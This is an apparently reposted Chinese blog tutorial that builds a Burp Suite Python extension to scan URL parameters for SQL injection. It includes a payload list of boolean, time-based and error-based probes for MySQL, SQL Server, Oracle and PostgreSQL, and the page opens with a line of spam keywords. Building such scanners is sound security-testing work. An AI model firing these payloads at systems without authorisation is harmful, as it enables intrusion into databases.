国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

使用Burp Suite和Python進(jìn)行自動(dòng)化漏洞挖掘—SQL測(cè)試注入插件

這篇具有很好參考價(jià)值的文章主要介紹了使用Burp Suite和Python進(jìn)行自動(dòng)化漏洞挖掘—SQL測(cè)試注入插件。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

每次測(cè)注入都是用burp的Intruder模塊,很不方便就是批量跑批量測(cè)哪些沒(méi)有過(guò)濾

懶人鵝上線(xiàn),準(zhǔn)備搞一個(gè)sql測(cè)試的插件

本篇文章代碼量大,基礎(chǔ)可以去看上一篇

一、 需求分析

測(cè)試sql基本注入的載荷,在可能有sql注入的地方發(fā)送測(cè)試包,目前只測(cè)試url中的,并可以根據(jù)錯(cuò)誤回顯判斷出數(shù)據(jù)庫(kù)類(lèi)型,需要有用戶(hù)界面,可以加載到Burp的Extensions模塊

二、編寫(xiě)代碼

上面這個(gè)burp包需要下載

????????pip install? burp

我加注釋的地方是中文的最好復(fù)制后導(dǎo)入burp前刪掉,不然可能會(huì)導(dǎo)入報(bào)錯(cuò)

里面打印出來(lái)的結(jié)果也用的是英文,感覺(jué)burp兼容中文性不高

需要注意改動(dòng)代碼按照python2.7版本去,如果比這個(gè)版本高的方式寫(xiě)可能導(dǎo)入會(huì)報(bào)錯(cuò)

如:

#下面這種方式就用不了因?yàn)椴恢С?print(f"Testing payload: {payload}")

#這個(gè)就可以
print("Testing payload: {}".format(payload))
from burp import IBurpExtender, IContextMenuFactory, ITab, IScannerCheck, IScanIssue, IHttpService, IHttpRequestResponse, IExtensionStateListener, IParameter, IProxyListener, IScannerInsertionPointProvider, IScannerInsertionPoint, IBurpExtenderCallbacks
from javax.swing import JTabbedPane, JPanel, JButton, JTextArea, JScrollPane, SwingConstants, GroupLayout, JTextField, JMenuItem, SwingUtilities
from java.awt import BorderLayout, Color
from java.util import ArrayList
from java.awt.event import ActionListener
from java.net import URL
import sys
import threading

class ScanIssue(IScanIssue):

    def __init__(self, helpers, http_service, url, request_response, name, detail, severity, confidence):
        self._helpers = helpers
        self._http_service = http_service
        self._url = url
        self._request_response = request_response
        self._name = name
        self._detail = detail
        self._severity = severity
        self._confidence = confidence
        

    def getUrl(self):
        return self._url

    def getIssueName(self):
        return self._name

    def getIssueType(self):
        return 0

    def getSeverity(self):
        return self._severity

    def getConfidence(self):
        return self._confidence

    def getIssueBackground(self):
        return None

    def getRemediationBackground(self):
        return None

    def getIssueDetail(self):
        return self._detail

    def getRemediationDetail(self):
        return None

    def getHttpMessages(self):
        return self._request_response

    def getHttpService(self):
        return self._http_service


class BurpExtender(IBurpExtender, ITab, IScannerCheck, IContextMenuFactory, ActionListener, IScannerInsertionPointProvider):

    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()

        self._scan_lock = threading.Lock()
        self._tabbedPane = JTabbedPane()
        self.initUI()
        
        callbacks.registerScannerInsertionPointProvider(self)
        #模塊名稱(chēng)
        callbacks.setExtensionName("SQL Injection Scanner")
        callbacks.registerContextMenuFactory(self)
        callbacks.customizeUiComponent(self._tabbedPane)
        callbacks.registerScannerCheck(self)
        callbacks.addSuiteTab(self)

    def initUI(self):
        self._mainPanel = JPanel(BorderLayout())

        self._urlInput = JTextField(50)

        self._scanButton = JButton("Start Scan", actionPerformed=self.start_scan)

        self._scanOutput = JTextArea()
        self._scanOutput.setEditable(False)
        scrollPane = JScrollPane(self._scanOutput)

        layout = GroupLayout(self._mainPanel)
        self._mainPanel.setLayout(layout)
        layout.setAutoCreateGaps(True)
        layout.setAutoCreateContainerGaps(True)

        layout.setHorizontalGroup(
            layout.createParallelGroup(GroupLayout.Alignment.CENTER)
                .addGroup(layout.createSequentialGroup()
                    .addComponent(self._urlInput)
                    .addComponent(self._scanButton))
                .addComponent(scrollPane)
        )

        layout.setVerticalGroup(
            layout.createSequentialGroup()
                .addGroup(layout.createParallelGroup(GroupLayout.Alignment.BASELINE)
                    .addComponent(self._urlInput)
                    .addComponent(self._scanButton))
                .addComponent(scrollPane)
        )

        self._tabbedPane.addTab("SQL Injection Scanner", self._mainPanel)

    def getTabCaption(self):
        return "SQL Injection Scanner"

    def getUiComponent(self):
        return self._tabbedPane

    def createInsertionPoints(self, baseRequestResponse):
        request_info = self._helpers.analyzeRequest(baseRequestResponse)
        parameters = request_info.getParameters()

        insertion_points = []
        for param in parameters:
            if param.getType() != IParameter.PARAM_URL:
                continue

            # 創(chuàng)建自定義插入點(diǎn)
            insertion_point = CustomInsertionPoint(self._helpers, baseRequestResponse.getRequest(), param)
            insertion_points.append(insertion_point)

        return insertion_points

       
    def start_scan(self, event):
        print("Start Scan button clicked.")
        thread = threading.Thread(target=self.scan_logic)
        thread.start()


    def scan_logic(self):

        try:
            print("scan_logic started")
            target_url = self._urlInput.getText()
            try:
                url = URL(target_url)
            except Exception as e:
                print("Error: Invalid URL")
                SwingUtilities.invokeLater(lambda: self._scanOutput.append("Error: Invalid URL\n"))
                return

            baseRequestResponse = self._callbacks.makeHttpRequest(
                self._helpers.buildHttpService(url.getHost(), url.getPort(), url.getProtocol() == "https"),
                self._helpers.stringToBytes("GET {} HTTP/1.1\r\nHost: {}\r\n\r\n".format(url.getPath(), url.getHost()))
            )
            # Manually parse the URL to get the query string
            query_string = url.getQuery()

            if not query_string:
                print("No query string found.")
                return

            # Split the query string into parameters
            query_params = query_string.split("&")

            # Create a list to store the parameters
            params = []

            # 遍歷查詢(xún)參數(shù)
            for query_param in query_params:
                # Split the parameter into name and value
                name, value = query_param.split("=", 1)
                # Create a new URL parameter and add it to the list
                param = self._helpers.buildParameter(name, value, IParameter.PARAM_URL)
                params.append(param)

            print("Number of parameters found:", len(params))

            # 檢查參數(shù)是否存在
            if not params:
                print("No parameters found.")
                return

            # 創(chuàng)建列表插入點(diǎn)
            insertion_points = []

            # 遍歷參數(shù)
            for param in params:
                print("Creating insertion point for parameter:", param.getName())
                # Create an instance of your custom insertion point class
                insertion_point = CustomInsertionPoint(self._helpers, baseRequestResponse.getRequest(), param)
                insertion_points.append(insertion_point)

            # 打印插入點(diǎn)數(shù)量
            print("Number of insertion points created:", len(insertion_points))

            issues = self.doActiveScan(baseRequestResponse, [])
            if issues:
                for issue in issues:
                    print("Found issue: {} - {}".format(issue.getUrl(), issue.getIssueName()))
                    SwingUtilities.invokeLater(lambda: self._scanOutput.append("{} - {}\n".format(issue.getUrl(), issue.getIssueName())))
            else:
                print("No issues found.")
                SwingUtilities.invokeLater(lambda: self._scanOutput.append("{} - Scan result\n".format(target_url)))
            print("scan_logic method finished.")
            SwingUtilities.invokeLater(lambda: self._callbacks.issueAlert("Start scan clicked"))
            # 定義sql注入payload
            payloads = [
                "'",                     
                '"',                     
                " OR 1=1",               
                "' OR '1'='1",           
                " AND SLEEP(3)",         
                "'; WAITFOR DELAY '0:0:3';",
                " AND 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(66)||CHR(67),3)", 
                "' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE rownum=1))--",
                "' AND 1=CAST(0x5F21403264696C656D6D61 AS varchar(8000))--",
                "' AND extractvalue(1,concat(0x5c, (SELECT @@version)))",
                "' AND 1=pg_sleep(3)--",
                "' AND 1=(SELECT banner FROM v$version WHERE rownum=1)--",
                " AND 1=(SELECT @@version)--"
            ]

            # 遍歷插入payload
            for insertion_point in insertion_points:
                print("Testing insertion point: {}".format(insertion_point.getInsertionPointName()))
                self._original_response = baseRequestResponse.getResponse()
                self._original_response_body = self._helpers.bytesToString(self._original_response)
                for payload in payloads:
                    # print("Testing insertion point: ",insertion_point.getInsertionPointName())
                    # print("Testing payload: ",payload)

                    # # Insert the payload into the request
                    # modified_request = insertion_point.buildRequest(payload)

                    # # Send the modified request
                    # checkRequestResponse = self._callbacks.makeHttpRequest(
                    #     baseRequestResponse.getHttpService(), modified_request)

                    # # Check if the response indicates a potential SQL injection
                    # if self.check_for_sql_injection(checkRequestResponse.getResponse()):
                    #     print("Potential SQL injection found with payload: ",payload)

                    #     # Add the issue to the SQL Injection Scanner module
                    #     SwingUtilities.invokeLater(lambda: self._scanOutput.append(
                    #         "{} - Potential SQL injection with payload: {}\n".format(target_url, payload)
                    #     ))
                    # else:
                    #     print("No issues found with payload: ",payload)
                    #     SwingUtilities.invokeLater(lambda: self._scanOutput.append(
                    #         "{} - No issues found with payload: {}\n".format(target_url, payload)
                    #     ))
                    print("Testing payload: {}".format(payload))
                    attack_request = insertion_point.buildRequest(payload)
                    attack_response = self._callbacks.makeHttpRequest(
                        baseRequestResponse.getHttpService(),
                        attack_request
                    )
                    if self.check_sql_injection(attack_response, payload):
                        print("Potential SQL injection found with payload:",payload)
                        SwingUtilities.invokeLater(lambda: self._scanOutput.append(
                            "{} - Potential SQL injection with payload: {}\n".format(target_url, payload)
                        ))
                    else:
                        print("No issues found with payload:", payload)
                        SwingUtilities.invokeLater(lambda: self._scanOutput.append(
                            "{} - No issues found with payload: {}\n".format(target_url, payload)
                        ))
            print("scan_logic method finished.")
        except Exception as e:
            print("scan_logic error: ", e)


    def check_for_sql_injection(self, response):
        sql_errors = [
            "You have an error in your SQL syntax",
            "Warning: mysql_",
            "Warning: mysqli_",
            "Fatal error: Uncaught PDOException",
            "syntax error or access violation"
        ]

        response_str = self._helpers.bytesToString(response)
        for sql_error in sql_errors:
            if sql_error in response_str:
                return True

        return False


    #這個(gè)方法里面的內(nèi)容其實(shí)我合并到上面scann方法里面了
    def doActiveScan(self, baseRequestResponse, insertionPoint):
        print("Number of insertion points created: {}".format(len(insertionPoint)))
        issues = []
        if not insertionPoint:
            insertion_points = self.createInsertionPoints(baseRequestResponse)
        else:
            insertion_points = [insertionPoint]

        # for insertion_point in insertion_points:
        #     print("Testing insertion point: {}".format(insertion_point.getInsertionPointName()))
        #     self._original_response = baseRequestResponse.getResponse()
        #     self._original_response_body = self._helpers.bytesToString(self._original_response)
        #     payloads = [
        #         "'",                     
        #         '"',                     
        #         " OR 1=1",               
        #         "' OR '1'='1",           
        #         " AND SLEEP(3)",         
        #         "'; WAITFOR DELAY '0:0:3';",
        #         " AND 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(66)||CHR(67),3)", 
        #         "' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE rownum=1))--",
        #         "' AND 1=CAST(0x5F21403264696C656D6D61 AS varchar(8000))--",
        #         "' AND extractvalue(1,concat(0x5c, (SELECT @@version)))",
        #         "' AND 1=pg_sleep(3)--",
        #         "' AND 1=(SELECT banner FROM v$version WHERE rownum=1)--",
        #         " AND 1=(SELECT @@version)--"
        #     ]

        #     for payload in payloads:
        #         print("Testing payload: {}".format(payload))
        #         attack_request = insertion_point.buildRequest(payload)
        #         attack_response = self._callbacks.makeHttpRequest(
        #             baseRequestResponse.getHttpService(),
        #             attack_request
        #         )
        #         if self.check_sql_injection(attack_response, payload):
        #             issues.append(self.create_scan_issue(baseRequestResponse, attack_request, attack_response))
        #         else:
        #             print("No issues found with payload: {}".format(payload))
        return issues
        

    def check_sql_injection(self, response, payload):
        response_body = self._helpers.bytesToString(response.getResponse())
        sql_errors = [
            "SQL syntax",
            "MySQL error",
            "SQL error",
            "syntax error",
            "ORA-01756",
            "Microsoft OLE DB Provider for ODBC Drivers error",
            "Unclosed quotation mark",
            "Error Executing Database Query"
        ]

        for error in sql_errors:
            if error in response_body:
                return True

        if " OR 1=1" in payload or "' OR '1'='1" in payload:
             if response_body != self._original_response_body:
                return True

        time_based_payloads = [" AND SLEEP(", "'; WAITFOR DELAY '", " AND 1=DBMS_PIPE.RECEIVE_MESSAGE(", "' AND 1=pg_sleep("]
        if any(p in payload for p in time_based_payloads):
            time_difference = self._helpers.analyzeResponse(response.getResponse()).getTime() - self._helpers.analyzeResponse(self._original_response).getTime()

            if time_difference >= 3000:
                return True

        return False

    def create_scan_issue(self, baseRequestResponse, attack_request, attack_response):
        return ScanIssue(
            self._helpers,
            baseRequestResponse.getHttpService(),
            self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
            [self._callbacks.applyMarkers(baseRequestResponse, None, None), self._callbacks.applyMarkers(attack_response, None, None)],
            "SQL Injection",
            "High",
            "Certain"
        )

    def send_to_scanner(self, event):
        messages = self._current_invocation.getSelectedMessages()
        if messages:
            url = messages[0].getUrl()
            self._urlInput.setText(url.toString())
        ui_component = self.getUiComponent()
        ui_component.setForeground(Color.red)
        self._callbacks.customizeUiComponent(ui_component)
        # self._callbacks.customizeUiComponent(self.getUiComponent().setForeground(Color.red))

    def createMenuItems(self, invocation):
        self._current_invocation = invocation
        menu_items = ArrayList()
        menu_item = JMenuItem("Send to SQL Injection Scanner", actionPerformed=self.send_to_scanner)
        menu_items.add(menu_item)
        return menu_items

    def menuItemClicked(self, event):
        current_request = self._callbacks.getSelectedMessages()[0]
        base_request_response = current_request.getRequestResponse()
        issues = self.doActiveScan(base_request_response, None)
        for issue in issues:
            print("{} - {}".format(issue.getUrl(), issue.getIssueName()))


    def doPassiveScan(self, baseRequestResponse):
        return []


class CustomInsertionPoint(IScannerInsertionPoint):
    def __init__(self, helpers, request, parameter=None, is_path_insertion_point=False):
        self._helpers = helpers
        self._request = request
        self._parameter = parameter
        self._is_path_insertion_point = is_path_insertion_point

    def getInsertionPointName(self):
        if self._is_path_insertion_point:
            return "Custom Path Insertion Point"
        return "Custom Insertion Point: {}".format(self._parameter.getName())

    def getBaseValue(self):
        if self._is_path_insertion_point:
            return self._helpers.analyzeRequest(self._request).getUrl().getPath()
        return self._parameter.getValue()

    def buildRequest(self, payload):
        if self._is_path_insertion_point:
            url = self._helpers.analyzeRequest(self._request).getUrl()
            new_path = url.getPath() + payload
            new_url = URL(url.getProtocol(), url.getHost(), url.getPort(), new_path)
            return self._helpers.buildHttpRequest(new_url)
        return self._helpers.updateParameter(self._request, self._helpers.buildParameter(self._parameter.getName(), payload, self._parameter.getType()))

    def getPayloadOffsets(self, payload):
        return None

    def getInsertionPointType(self):
        return IScannerInsertionPoint.INS_PARAM_URL

三、數(shù)據(jù)庫(kù)類(lèi)型檢測(cè)

????????增加針對(duì)不同數(shù)據(jù)庫(kù)類(lèi)型的攻擊載荷,并添加檢測(cè)時(shí)間盲注和布爾盲注的方法。這將使得擴(kuò)展更加強(qiáng)大,能夠檢測(cè)到更多類(lèi)型的SQL注入攻擊。

payloads = [
    "'",                     # 錯(cuò)誤提示
    '"',                     # 錯(cuò)誤提示
    " OR 1=1",               # 布爾盲注
    "' OR '1'='1",           # 布爾盲注
    " AND SLEEP(3)",         # MySQL時(shí)間盲注
    "'; WAITFOR DELAY '0:0:3';",    # SQL Server時(shí)間盲注
    " AND 1=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(66)||CHR(67),3)", # Oracle時(shí)間盲注
    "' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE rownum=1))--", # Oracle基于錯(cuò)誤的注入
    "' AND 1=CAST(0x5F21403264696C656D6D61 AS varchar(8000))--",  # SQL Server基于錯(cuò)誤的注入
    "' AND extractvalue(1,concat(0x5c, (SELECT @@version)))", # MySQL基于錯(cuò)誤的注入
    "' AND 1=pg_sleep(3)--",    # PostgreSQL時(shí)間盲注
    "' AND 1=(SELECT banner FROM v$version WHERE rownum=1)--",  # Oracle布爾盲注
    " AND 1=(SELECT @@version)--"  # MySQL布爾盲注
]

四、測(cè)試

burp插件開(kāi)發(fā)python,Burp Suite—拓展利用,自動(dòng)化,安全,網(wǎng)絡(luò)安全,python

名字啥的都可以在代碼里面更改

還有就是這是最基礎(chǔ)的檢測(cè),還不如sqlmap,有興趣的師傅可以和我一起完善一下

burp插件開(kāi)發(fā)python,Burp Suite—拓展利用,自動(dòng)化,安全,網(wǎng)絡(luò)安全,python

?

burp插件開(kāi)發(fā)python,Burp Suite—拓展利用,自動(dòng)化,安全,網(wǎng)絡(luò)安全,python


?本篇文章只用作技術(shù)交流,利用文章內(nèi)的技術(shù)進(jìn)行違法活動(dòng),均與本博主無(wú)關(guān)!

尋找志同道合的師傅一起完善哈文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-701673.html

到了這里,關(guān)于使用Burp Suite和Python進(jìn)行自動(dòng)化漏洞挖掘—SQL測(cè)試注入插件的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶(hù)投稿,該文觀(guān)點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 使用 Python 進(jìn)行 Windows GUI 自動(dòng)化

    ? 在今天的文章中,我們將探討如何使用 Python 進(jìn)行 Windows GUI 自動(dòng)化。GUI 自動(dòng)化可以幫助我們自動(dòng)執(zhí)行許多與操作系統(tǒng)交互的任務(wù),比如移動(dòng)鼠標(biāo)、點(diǎn)擊按鈕、輸入文本、移動(dòng)窗口等。Python 提供了兩個(gè)強(qiáng)大的庫(kù):pyautogui 和 pywinauto,使得 GUI 自動(dòng)化變得簡(jiǎn)單。接下來(lái)我們?cè)敿?xì)

    2024年02月11日
    瀏覽(29)
  • “利用Python使用API進(jìn)行數(shù)據(jù)集成和自動(dòng)化開(kāi)發(fā)的指南“

    標(biāo)題:利用Python使用API進(jìn)行數(shù)據(jù)集成和自動(dòng)化開(kāi)發(fā)的指南 摘要:本文將為讀者提供一個(gè)詳細(xì)而全面的指南,教您如何使用Python編程語(yǔ)言來(lái)利用API進(jìn)行數(shù)據(jù)集成和自動(dòng)化開(kāi)發(fā)。我們將介紹API的基本概念,探討Python中常用的API庫(kù)和工具,以及演示如何通過(guò)編寫(xiě)Python代碼來(lái)調(diào)用和處

    2024年02月13日
    瀏覽(26)
  • 從零開(kāi)始學(xué)習(xí):如何使用Selenium和Python進(jìn)行自動(dòng)化測(cè)試?

    從零開(kāi)始學(xué)習(xí):如何使用Selenium和Python進(jìn)行自動(dòng)化測(cè)試?

    安裝selenium 打開(kāi)命令控制符輸入:pip install -U selenium 火狐瀏覽器安裝firebug:www.firebug.com,調(diào)試所有網(wǎng)站語(yǔ)言,調(diào)試功能 Selenium IDE 是嵌入到Firefox 瀏覽器中的一個(gè)插件,實(shí)現(xiàn)簡(jiǎn)單的瀏覽器操 作的錄制與回放功能,IDE 錄制的腳本可以可以轉(zhuǎn)換成多種語(yǔ)言,從而幫助我們快速的開(kāi)

    2024年04月23日
    瀏覽(38)
  • 【安全測(cè)試學(xué)習(xí)】自動(dòng)化注入攻擊之 FuzzDB和Burp 組合拳

    【安全測(cè)試學(xué)習(xí)】自動(dòng)化注入攻擊之 FuzzDB和Burp 組合拳

    一、FuzzDB 開(kāi)源的應(yīng)用程序模糊測(cè)試數(shù)據(jù)庫(kù),包含了各種攻擊 payload 的測(cè)試用例集合。 主要功能: OS 命令注入 目錄遍歷 文件上傳繞過(guò) 身份驗(yàn)證繞過(guò) XSS SQL 注入 HTTP 頭注入 CRLF 注入 NoSQL 注入等 還包含了一些用不同語(yǔ)言寫(xiě)成的 webshell 與常用的賬號(hào)密碼字典。 github地址: GitH

    2023年04月08日
    瀏覽(18)
  • 自動(dòng)化漏洞掃描工具Goby介紹、下載、使用、插件、功能

    自動(dòng)化漏洞掃描工具Goby介紹、下載、使用、插件、功能

    介紹 Goby 是一款新的網(wǎng)絡(luò)安全測(cè)試工具,它能夠針對(duì)一個(gè)目標(biāo)企業(yè)梳理最全的攻擊面信息,同時(shí)能進(jìn)行高效、實(shí)戰(zhàn)化漏洞掃描,并快速地從一個(gè)驗(yàn)證入口點(diǎn),切換到橫向。我們希望能夠輸出更具生命力的工具,能夠?qū)?biāo)黑客的實(shí)際能力,幫助企業(yè)來(lái)有效地理解和應(yīng)對(duì)網(wǎng)絡(luò)攻擊

    2024年02月17日
    瀏覽(26)
  • 使用AWS和Kubernetes進(jìn)行流程自動(dòng)化:自動(dòng)化部署和監(jiān)控

    作者:禪與計(jì)算機(jī)程序設(shè)計(jì)藝術(shù) 機(jī)器學(xué)習(xí)、深度學(xué)習(xí)和自動(dòng)化技術(shù)正在成為信息技術(shù)行業(yè)的新趨勢(shì)。2017年以來(lái),越來(lái)越多的企業(yè)開(kāi)始采用機(jī)器學(xué)習(xí)技術(shù)解決業(yè)務(wù)上的實(shí)際問(wèn)題。這項(xiàng)技術(shù)的應(yīng)用已經(jīng)從統(tǒng)計(jì)學(xué)模型逐漸轉(zhuǎn)向基于數(shù)據(jù)的分析方法。隨著云計(jì)算技術(shù)的蓬勃發(fā)展,越

    2024年02月07日
    瀏覽(25)
  • chatgpt賦能python:如何利用Python進(jìn)行自動(dòng)化辦公

    在現(xiàn)代辦公環(huán)境中,自動(dòng)化成為了一種趨勢(shì)。利用計(jì)算機(jī)程序自動(dòng)處理重復(fù)性勞動(dòng),可以提高生產(chǎn)效率和工作質(zhì)量,同時(shí)也能夠讓工作更加輕松。Python作為一種常用的編程語(yǔ)言,在自動(dòng)化辦公中發(fā)揮了重要作用。 自動(dòng)化辦公是指利用計(jì)算機(jī)程序自動(dòng)完成辦公工作的一種方式。

    2024年02月11日
    瀏覽(33)
  • 基于k6和python進(jìn)行自動(dòng)化性能測(cè)試

    摘要: 在性能測(cè)試中,達(dá)到相應(yīng)的性能指標(biāo)對(duì)于一個(gè)軟件來(lái)說(shuō)十分重要,在本文中,將介紹一種現(xiàn)代化性能測(cè)試工具k6。 本文分享自華為云社區(qū)《基于k6和python進(jìn)行自動(dòng)化性能測(cè)試》,作者: 風(fēng)做了云的夢(mèng)。 當(dāng)我們開(kāi)發(fā)完成一個(gè)應(yīng)用程序時(shí),往往需要對(duì)其進(jìn)行性能測(cè)試,以

    2024年02月10日
    瀏覽(23)
  • 使用Postman進(jìn)行接口自動(dòng)化測(cè)試

    使用Postman進(jìn)行接口自動(dòng)化測(cè)試

    ?我們先思考一下,如果需要達(dá)到自動(dòng)化接口測(cè)試的效果,那么我們?cè)诨镜哪M請(qǐng)求上還需要做哪些呢? 以下我粗略概括為 3 個(gè)問(wèn)題(歡迎更多補(bǔ)充與建議): 如何判斷接口是否請(qǐng)求成功 如何進(jìn)行接口批量、定期測(cè)試 如何處理依賴(lài)接口問(wèn)題(比如商品下單的接口必須要求

    2024年01月18日
    瀏覽(60)
  • 使用GitHubActions進(jìn)行UI自動(dòng)化

    UI自動(dòng)化是一種測(cè)試技術(shù),它使用計(jì)算機(jī)程序來(lái)自動(dòng)化用戶(hù)界面(UI)的測(cè)試。這種測(cè)試方法可以幫助開(kāi)發(fā)人員確保應(yīng)用程序的用戶(hù)界面正確、易于使用和符合預(yù)期。GitHub Actions是GitHub提供的一個(gè)持續(xù)集成和持續(xù)部署(CI/CD)服務(wù),可以用于自動(dòng)化UI測(cè)試。 在本文中,我們將討論如何

    2024年02月20日
    瀏覽(26)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包